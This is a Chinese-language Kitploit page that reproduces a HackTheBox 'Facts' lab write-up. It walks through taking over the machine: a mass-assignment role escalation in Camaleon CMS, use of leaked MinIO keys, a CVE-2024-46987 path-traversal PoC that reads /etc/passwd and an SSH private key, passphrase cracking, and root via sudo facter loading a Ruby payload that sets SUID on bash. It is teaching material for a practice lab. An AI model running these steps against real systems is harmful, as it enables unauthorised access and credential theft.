Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
HackTheBox-Facts — HTB Facts 是一个 Easy 级别的 Linux 靶机,涉及 Camaleon CMS 和 MinIO。通过开放注册和批量赋值漏洞获取管理员访问权限,然后从管理员设置中提取 MinIO 凭据。利用 CVE-2024-46987 路径遍历漏洞窃取 SSH 私钥,破解其口令,并通过 GTFOBins 滥用 facter 上的 sudo 权限提权至 root。 | Kitploit
工具/GitHubGitHub/suriyaboon/hackthebox-facts
权限提升侦察密码攻击漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试云安全学习与教育
GitHubsuriyaboon/hackthebox-facts

HackTheBox-Facts

2015天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

HTB Facts 是一个 Easy 级别的 Linux 靶机,涉及 Camaleon CMS 和 MinIO。通过开放注册和批量赋值漏洞获取管理员访问权限,然后从管理员设置中提取 MinIO 凭据。利用 CVE-2024-46987 路径遍历漏洞窃取 SSH 私钥,破解其口令,并通过 GTFOBins 滥用 facter 上的 sudo 权限提权至 root。

查看仓库

HTB Facts — 完整渗透测试报告

操作系统: Linux
标签: Web, MinIO, Camaleon CMS, 路径遍历, 权限提升


目录

  1. 信息收集
  2. Web 枚举 — 端口 80
  3. MinIO 发现 — 端口 54321
  4. Camaleon CMS — 管理员访问
  5. 权限提升至管理员角色
  6. MinIO 凭据发现
  7. 任意文件读取 — CVE-2024-46987
  8. 以 trivia 身份 SSH 访问
  9. 权限提升至 Root
  10. Flag

信息收集

首先进行全端口 TCP 扫描以识别开放的服务。

nmap -p- --min-rate 5000 -T4 10.129.244.96

扫描结果:

端口服务备注
22SSHOpenSSH
80HTTPNginx 1.26.3 (Ubuntu)
54321未知识别为 MinIO

将目标添加到 /etc/hosts:

echo "10.129.244.96 facts.htb" >> /etc/hosts

Web 枚举 — 端口 80

访问 http://facts.htb 显示一个基于 Camaleon CMS(Ruby on Rails)构建的问答网站。关键指标:

  • Cookie 名称:_factsapp_session(Rails 会话)
  • 资源路径:/assets/themes/camaleon_first/
  • meta 标签中的 CSRF token
  • 服务器:nginx/1.26.3 (Ubuntu)

枚举站点地图以获取所有可用页面:

curl -s http://facts.htb/sitemap.xml

发现的重要路径:

  • /admin → 重定向到 /admin/login
  • /rss
  • 各种问答页面:/animal-ejected、/anne-frank 等。

检查管理员登录面板:

curl -v http://facts.htb/admin
# → 302 重定向到 /admin/login

MinIO 发现 — 端口 54321

使用 curl 探测未知端口,发现 MinIO,一个兼容 S3 的对象存储服务:

curl -v http://facts.htb:54321

响应:

<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied.</Message>
</Error>

响应头确认:Server: MinIO

探测可能的存储桶名称(仅返回 403 响应并不能确认存储桶存在):

for bucket in facts backup uploads media files images data private secret admin internal; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
  echo "$bucket: $code"
done

全部返回 403 Forbidden — 存储桶存在但需要凭据。


Camaleon CMS — 管理员访问

识别 CMS

根据资源路径和会话 Cookie,该 CMS 被识别为 Camaleon CMS。

检查已知漏洞:

searchsploit camaleon

结果:

Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)   | ruby/webapps/51489.txt

管理员面板版本确认为 2.9.0(登录后可在页脚看到)。

创建账户

位于 http://facts.htb/admin/login 的管理员登录页面包含一个 "Create an account" 链接。注册一个新账户:

  • 导航到 http://facts.htb/admin/users/sign_up
  • 填写任意有效凭据(例如 test123 / test123)
  • 提交 — 这将创建一个 Client 角色账户

注册后,登录到管理员仪表板。该账户具有有限的 Client 权限。


权限提升至管理员角色

批量赋值漏洞

Camaleon CMS 在密码修改端点上存在 批量赋值 攻击漏洞。通过拦截密码修改请求并注入 password[role] 参数,攻击者可以将自己的角色提升为 admin。

使用 Burp Suite 的步骤:

  1. 使用 Client 账户登录管理员面板。
  2. 导航到 Profile → Edit → Change Password。
  3. 输入任意新密码并点击 Process。
  4. 在 Burp Suite 中拦截 POST 请求。
  5. 在请求体末尾追加 &password[role]=admin:
_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
  1. 转发请求 — 响应应为 200 OK。
  2. 使用更新后的凭据重新登录。

该账户现在具有 admin 权限,可完全访问 CMS 管理员面板,包括 Settings、Media 和 Filesystem Settings。


MinIO 凭据发现

获得管理员访问权限后,导航到:

Settings → General Site → Filesystem Settings

该页面泄露了硬编码的 MinIO(兼容 AWS S3)凭据:

AWS S3 Access Key:    AKIA59D605615FFC8875
AWS S3 Secret Key:    O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name:   randomfacts
AWS S3 Region:        us-east-1
AWS S3 Endpoint:      http://localhost:54321

配置 AWS CLI 并枚举存储桶:

export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'

aws s3 ls --endpoint-url http://facts.htb:54321

发现的存储桶:

2025-09-11  internal
2025-09-11  randomfacts

internal 存储桶包含 trivia 用户的主目录:

aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321

# 下载 SSH 私钥
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321

任意文件读取 — CVE-2024-46987

或者,可以通过 CVE-2024-46987 获取 SSH 私钥,这是 Camaleon CMS 中的一个经过身份验证的路径遍历漏洞,允许读取任意服务器文件。

克隆公开的 PoC:

git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987

读取敏感文件:

# 步骤 1:读取 /etc/passwd 以枚举系统用户
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd

输出(相关行):

trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

识别出两个用户:trivia 和 william。由于 trivia 具有登录 shell 和主目录,检查是否存在 SSH 私钥:

# 步骤 2:读取 trivia 的 SSH 私钥
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519

将密钥输出保存到文件:

chmod 600 id_ed25519

以 trivia 身份 SSH 访问

破解 SSH 密钥密码短语

SSH 私钥使用密码短语加密。使用 ssh2john 和 john 破解它:

ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

破解出的密码短语: dragonballz

通过 SSH 登录

ssh -i id_ed25519 [email protected]
# 输入密码短语:dragonballz

获取用户 flag:

cat /home/william/user.txt

权限提升至 Root

Sudo 权限

检查 trivia 用户的 sudo 权限:

sudo -l

输出:

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

该用户可以无需密码以 root 身份运行 /usr/bin/facter。facter 是一个基于 Ruby 的系统信息工具。

GTFOBins — facter

根据 GTFOBins,facter 可以通过 --custom-dir 加载自定义 Ruby fact 文件,这些文件会以调用用户(此处为 root)的身份执行。

利用:

# 创建利用目录和 Ruby payload
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF

# 以 root 身份使用自定义目录执行 facter
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x

# 验证 bash 上已设置 SUID 位
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...

# 生成 root shell
/bin/bash -p

获取 Root Flag

whoami
# root

cat /root/root.txt

Flag

Flag位置
user.txt/home/william/user.txt
root.txt/root/root.txt

攻击链总结

Nmap 扫描
    ↓
端口 80:Camaleon CMS 2.9.0
    ↓
注册 Client 账户 → 管理员面板
    ↓
批量赋值:password[role]=admin → 管理员角色
    ↓
管理员设置 → MinIO 凭据泄露
    ↓
CVE-2024-46987:路径遍历 → 读取 /home/trivia/.ssh/id_ed25519
    ↓
ssh2john + John → 密码短语:dragonballz
    ↓
以 trivia 身份 SSH 登录
    ↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
    ↓
/bin/bash -p → root

CVE 和参考

CVE描述
CVE-2024-46987Camaleon CMS 经过身份验证的路径遍历 / 任意文件读取
CVE-2023-30145Camaleon CMS v2.7.0 通过 formats 参数的 SSTI(本靶机未使用)
  • GTFOBins — facter
  • CVE-2024-46987 PoC
  • Camaleon CMS GitHub
下载工具